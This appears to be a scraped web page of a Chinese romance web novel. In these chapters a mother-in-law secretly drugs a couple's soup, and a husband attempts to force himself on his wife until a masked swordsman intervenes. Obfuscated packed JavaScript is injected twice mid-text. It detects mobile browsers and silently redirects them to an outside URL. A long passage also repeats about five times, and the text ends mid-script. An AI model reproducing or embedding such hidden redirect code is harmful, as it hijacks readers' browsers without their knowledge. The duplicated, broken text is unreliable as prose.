沈清渊盯着她看了又看,唇角也染上笑意,但还是有些好奇:“夫人笑什么,今天又喝醉了?” “没喝醉,”春喜摇头,抱住沈清渊的胳膊靠进他怀里,“我就是觉得自己现在好幸福啊,夫君对我很好,我还有公主、禾儿和月儿这样真心的朋友,舅母和表嫂也很喜欢我,这是在嫁给夫君之前,我想都不敢想的。” 春喜语气轻快,话里都是满足和感恩。 沈清渊眸光微沉。 回京这些日子,他已经弄清楚所有的事,出事那天晚上,莫氏用曹正威胁王氏,要王氏用抹了剧毒的匕首去杀春喜,王氏真的这样做了。 如果不是春喜事先找了无忧阁的人假扮成她,她可能已经死在了王氏的匕首之下。 虽然当时的情况危急,王氏也是没办法,但被自己的亲娘下毒手,实在是一件很让人难过的事。 可从鬼门关走了一趟回来,春喜没有说过王氏半句不好,她还是能感受到身边的美好,并心存感恩。 沈清渊亲了亲春喜的额头,沉沉道:“没什么不敢想的,以后会越来越好。” 春喜仰头,飞快地亲了沈清渊一下:“夫君,能嫁给你真是太好了,作为报答,我给你生个孩子吧。” 在不确定自己能不能平安回来的时候,春喜想了很多。 自从父亲走后,她和家里的关系就越来越淡,她虽然一直很努力的活着,但在嫁给沈清渊之前,她在这世上其实了无牵挂。 这次的事让她发现,如果再有意外,她唯一的遗憾是没能给沈清渊生个孩子。 大人这个年纪虽然还能再娶,但一直克妻无子,名声总归是不好的。 而且上次她问大人要休书,大人狠狠地把她折腾了一番,还说他们之间只有死别没有生离,万一大人真的践行了这句话,没有孩子那也太孤独了。 春喜说完,又凑上来亲,人也不安分地往沈清渊身上爬。 她虽然没醉,但今晚也喝了不少,身上酒气颇重,比平日要大胆多了。 沈清渊的眸子瞬间就暗了,但还是箍住她的腰提醒:“夫人,还没到家,这是在马车上。” 春喜满不在乎,故意道:“我知道啊,但我就是想跟夫君生孩子。” “……” 马车到家后,还没完全停稳,沈清渊就抱着春喜冲了下去。 阿鲤吓了一跳,下意识地要跟上,便听到沈清渊的命令:“别跟过来,今晚所有人都离主院远点儿!” 春喜求子心切,沈清渊陪着她折腾,第二天上值险些迟到。 刚进御史台,便有人打趣:“沈大人,这新婚燕尔就是不一样啊,咱们催着要你回来一起接待使臣团不会影响你们夫妻感情吧。” 出门之前,沈清渊从镜子里看到领口处有一圈牙印,那位置刁钻,衣领遮不全,半露出来很是惹人遐想。 沈清渊面不改色,淡淡道:“不影响,只是内子刚在鬼门关走了一去圈,有些黏人罢了。” 沈清渊并不遮掩,反而坦然承认,谁都听得出来他爱惨了自己的妻子,因为疼惜不已,才由着她闹。 这世上负心薄情之人居多,深情之人鲜少,众人对视一眼,没再继续打趣。 使臣团入京有半个多月了,领略完瀚京的繁华和风土人情,也该开始谈正事了,沈清渊到后,便和御史台的众人一起前往议政殿。 路上,有人小声跟沈清渊嘀咕:“在你回来之前,使臣团的人已经进贡了一批玉石和兽皮给陛下,那些玉石璀璨夺目,兽皮也是真的漂亮,看着就暖和,要是用它制成袄子,冬天都不用再烤火取暖了,使臣团的诚意很足,陛下龙颜大悦,咱们一会儿的态度也要亲和些。” 沈清渊颔首表示知道了,而后问:“使臣团准备要些什么?” “他们那边多风沙,粮食产量不高,听说这两年又遭了灾,自然是想要换粮食。” 昭陵立国过年,和邻国越西打过仗,也通过商贸,谁也不知道眼下的和平能持续多久,即便是要互通往来,也还是要保持警惕留一手。 换什么粮食给对方,一年给多少才不至于把对方养得人强马壮养出狼子野心都要经过细致的盘算才行。 这些情况和御史台众人之前预料的大差不差,沈清渊心里有数,从容地和众人一起走进议政殿。 众人又说了会儿话,陛下和使臣团就到了。 跟在使臣团后面的是卫凌泽和翁州刺史李怀景,这半个多月,使臣团的接待主要是他们两个在负责。 一番行礼后,卫凌泽和李怀景在沈清渊旁边落座。 因为春喜的事,卫凌泽昨晚没怎么睡好,眼底布着血丝,他忍不住多看了沈清渊两眼,然后就看到了沈清渊脖子上若隐若现的牙印。 这种东西很是暧昧,配上沈清渊那张正经严肃的脸,反差感极大,更是让人浮想联翩。 卫凌泽猛然握紧拳头。 虽然沈清渊已经表现出对春喜足够多的维护和偏爱,但亲眼看到沈清渊和春喜恩爱的证据,卫凌泽还是感觉到了无法言喻的愤怒。 他们不是在演戏吗?沈清渊不是被莫氏逼着娶的曹春喜吗?他们怎么能假戏真做? 而且曹春喜才刚刚失踪了一个多月,沈清渊查清楚她失踪这段时间经历什么了吗,就能心无芥蒂地做这种事? 怒火灼得五脏六腑都痛,卫凌泽的胸膛控制不住急剧起伏。 感受到他灼热的目光,沈清渊偏头看了过来。 那一眼很冷很锋利,卫凌泽有一种被完全看透的感觉。 沈清渊好像知道是他找人绑走的春喜,也知道他对春喜存着什么样的心思,但沈清渊现在不说,只等着时机成熟,将他狠狠踩在脚下,让他再也翻不了身。 这种未知的,所有的事都在脱离掌控的感觉逼得卫凌泽有些抓狂,他越发用力地握紧拳头,骨头都发出了轻微的声响。 这时李怀景拍了拍他:“泽儿,陛下在等你回话呢。” 卫凌泽猛然从自己的世界抽离,他有些茫然地看着李怀景,根本不知道刚刚发生了什么。 李怀景小声提醒:“使臣团的人提出要跟我们的武将切磋切磋,这里就你一个武官,陛下等你说话呢。” 第228章 这一次,他输不起 卫凌泽代表武官接受了使臣团想要切磋一番的请求。 昭陵和越西时战时和如今昭陵国富民强比试一番展示当朝武将的实力也能震慑使臣团让两国的和平能够延续更久。 卫凌泽答得爽快言辞之间胜券在握陛下龙颜大悦与使臣团痛饮一杯后将比试的时间定在今年冬至。 到时陛下会率文武百官与使臣团一起出宫冬猎从多个方面同使臣团进行比试以此彰显公平。 双方相谈甚欢使臣团离开时轩辕朗特意落在最后用相当蹩脚的昭陵话冲卫凌泽说:“卫小将军我很期待冬猎时再与你一较高下。” 卫凌泽没把轩辕朗放在眼里他扫了眼轩辕朗右边空荡荡的衣袖道:“轩辕将军如今只剩下一只手我若是赢了只怕也胜之不武。” 经过礼官翻译轩辕朗才听懂这句话他没有生气反而笑出声来:“卫小将军这样说不会是害怕打不过我到时候会被人笑死吧?” 这话一出使臣团的人都跟着笑了起来。 轩辕朗虽然断了一臂身上却不见丝毫颓丧斗志反而比三年前更强烈了使臣团的人也都很相信他的实力并且期待着轩辕朗能在不久后的冬猎中打败卫凌泽一雪前耻。 对方都如此挑衅了卫凌泽自然不能认怂他挺直背脊接下了轩辕朗的战书。 他不会因为轩辕朗少一只胳膊就手下留情他会全力以赴像三年前在战场上那样狠狠打败轩辕朗。 得了卫凌泽的明确回答轩辕朗带着使臣团的人高高兴兴地离开卫凌泽的脸色却很难看。 轩辕朗断了一臂便是输给他也没什么丢人的而且使臣团只有这么点儿人回去后也不会大肆宣扬这件事轩辕朗不会受到任何影响。 但如果他输了必然会沦为笑柄。 所以这次冬猎他输不起也不能输。 卫凌泽脑子里正想着耳边就传来李怀景的声音:“泽儿你真的有把握能赢吗?” 李怀景没有其他意思语气里全是关切卫凌泽却只觉得刺耳他冷冷地看着李怀景反问:“小姨父是觉得我现在连一个残废都打不过?” “我没有这个意思只是你毕竟在床上躺了三年腿也才好没多久 李怀景温声解释话没说完就被卫凌泽打断:“小姨父要是真担心我刚刚在御前怎么不直接帮我拒绝现在说这些有什么意义?” 卫凌泽的语气很不好丝毫没有对李怀景这 个做小姨父的尊重,李怀景只能噤声。 这时御史台的众人走了过来,李怀景主动跟沈清渊打招呼:“沈大人,待会儿下值有事吗,我想请你吃个饭。” 沈清渊掀眸觑了卫凌泽一眼,而后冷淡道:“有事。” 沈清渊说完就走,李怀景连忙跟上去解释:“是我请沈大人吃饭,和其他人无关我想跟沈大人聊聊令妹的事。” 沈清渊完全没有要搭理卫凌泽的意思,卫凌泽也不会自讨没趣,阴沉着一张脸越过两人先行离开。 沈清渊并未停下步子,淡淡道:“我是真的有事,而且我娘只生了我一个,我没有妹妹,李大人找错人了。” 这话完全是撇清了和沈清迟的关系。 李怀景没有放弃,继续道:“沈大人别误会,我不是来为她求情的,只是内子因为这件事和沈夫人闹了一点不愉快,我想借这顿饭向沈大人道个歉,免得影响咱们的同僚之谊。” “李大人这些年一直在翁州任职,我与李大人并没有什么情谊,若李大人觉得我有公私不分之举,大可上奏到御前参我。” “沈大人,我没有说你公私不分的意思,而且当年咱们在云氏族学见过几次,也算是有同窗之谊吧,我今日其实还邀请了驸马,咱们聚在一起聊聊当年……” “当年没什么好聊的,我还有事,先走了。” 沈清渊直接打断李怀景,转身离开。 他的态度实在坚决,李怀景不好再追上去纠缠,等出了宫,又被告知驸马也拒绝了他的邀请。 李怀景的脸色不免沉了两分。 他是为了云晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946289|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠组的这个饭局,想缓和一下云晚棠跟春喜还有恒阳公主的关系,没想到连驸马都拒绝了他。 云晚棠听到李怀景被拒绝也有些失望,但她更关心的是不久后的冬猎。 她第一时间拿着上好的护膝护腕,还有一把好弓来到卫家。 “恭喜阿姐,只要泽儿在这次冬猎再次打败轩辕朗,拔得头筹,定然能再次扬名,成为昭陵家喻户晓的英雄。” 云氏不像云晚棠这样期待。 卫凌泽瘫痪那三年,云氏日日求神拜佛,只求他能健康平安,如今卫凌泽真的站起来了,云氏只希望他能好好的,不想他再冒险去争名夺利。 “泽儿的腿才恢复几个月,体力定然不及当年,我想进宫求皇后娘娘不要让他跟轩辕朗比了。” 云氏皱着眉头满是担忧,云晚棠不赞同道:“阿姐,轩辕朗已经被泽儿断了一臂,怎可能赢得过泽儿,你怎可因噎废食,耽误泽儿的前程?” “前程哪有健全的身体重要?万一那个轩辕朗是故意来找泽儿寻仇的怎么办?” 云氏反驳,还是觉得不妥,却听到云晚棠说:“阿姐,你不是想让禾儿尽快生个孩子吗,若是泽儿能在冬猎中再度扬名,眼下就是最好的时机。” 云氏剩下的反驳一下子噎在喉咙。 她已让心腹婆子买了药回来,但一直没有下定决心用。 云晚棠刚刚这番话像是魔咒蛊惑了她。 使臣团进京,不久后的冬猎是眼下最紧要的事。 文武百官都要为此事忙活起来,禾儿事后再生气,也不会选在这个时候回家哭闹,等泽儿在冬猎中再次扬名,禾儿就算说出这件事,萧家应该也不会太较真。 眼下的确是最好的时机。 可万一泽儿输了呢? 云氏还是很犹豫,云晚棠直接抓住她的手说:“阿姐,禾儿已经被曹春喜和恒阳公主蛊惑了,你若再不下这剂猛药,她和泽儿就真的没有以后了。” 云氏抿唇,眸底的挣扎变得坚定。 第229章 卫凌泽,我会死在你面前 得了云晚棠的支持,第二日,云氏把卫凌泽和萧清禾都叫到主院用晚饭。 晚饭做得挺丰盛的,大多都是萧清禾爱吃的菜。 饭菜上桌后,云氏亲自给两人盛了汤。 “最近泽儿忙着接待使臣团,都没有好好在家吃过饭了,后面又要忙着冬猎的事,只怕时间会更少,真是冷落禾儿了。” 云氏话里带着歉然,萧清禾却一点儿都不觉得委屈。 成婚这几个月,她跟卫凌泽见面越来越不高兴,如今她巴不得卫凌泽能一直在外面忙才好。 但云氏把面子功夫都做足了,萧清禾也还是配合地说:“母亲多虑了,夫君在外面忙的都是正事,我并不觉得被冷落。” 卫凌泽因为冬猎和春喜的事烦心不已,也没有时间去萧清禾面前看她的脸色,他皱眉地看着云氏:“母亲不是说有很重要的事要跟我说吗,难道就是叫我来吃个饭?” 卫凌泽的语气很是不满,怪云氏骗他来吃饭。 云氏横了卫凌泽一眼:“吃饭怎么了,难道你现在连陪我一起吃顿饭的时间都没有了?” 不是没有,只是觉得很没有必要。 卫凌泽不想跟云氏多说,埋头吃饭。 云氏催着两人把汤喝掉,又说了很多劝和的话,希望两人早日解开心结,重归于好,绵延子嗣。 卫凌泽根本不搭茬,萧清禾也只偶尔附和两句,并不往心里去。 云氏看的心梗,越发觉得云晚棠的提议是对的。 这两人已经貌合神离了,再放任他们继续下去,那就真的挽回不了了。 卫凌泽吃完一碗饭,扔下筷子就要离开,被云氏叫住:“你明日休沐,这么着急做什么,等禾儿吃完一起回去。” “母亲,府里很安全,我可以吃完自己回去,就让夫君忙去吧。” 萧清禾拒绝,云氏却生气道:“我刚刚说了那么多,你们是一句话都没有听进去吗?” 云氏动了怒,萧清禾不好再顶撞她,索性放下筷子:“我吃饱了,这就和夫君一起回去。” 两人并肩出了主院。 云氏屏退下人,只留下心腹婆子,不安地问:“这事能成吗?” 婆子连忙道:“夫人放心,这汤里药下得足,很快就能起效,大少爷和少夫人今晚肯定能水到渠成,只要少夫人体会到其中的妙处,定能跟大少爷和好如初的。” 但愿吧。 若是早知道他们两人会把日子过成这样,卫家还不如在三年前主动退婚,搏个好 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 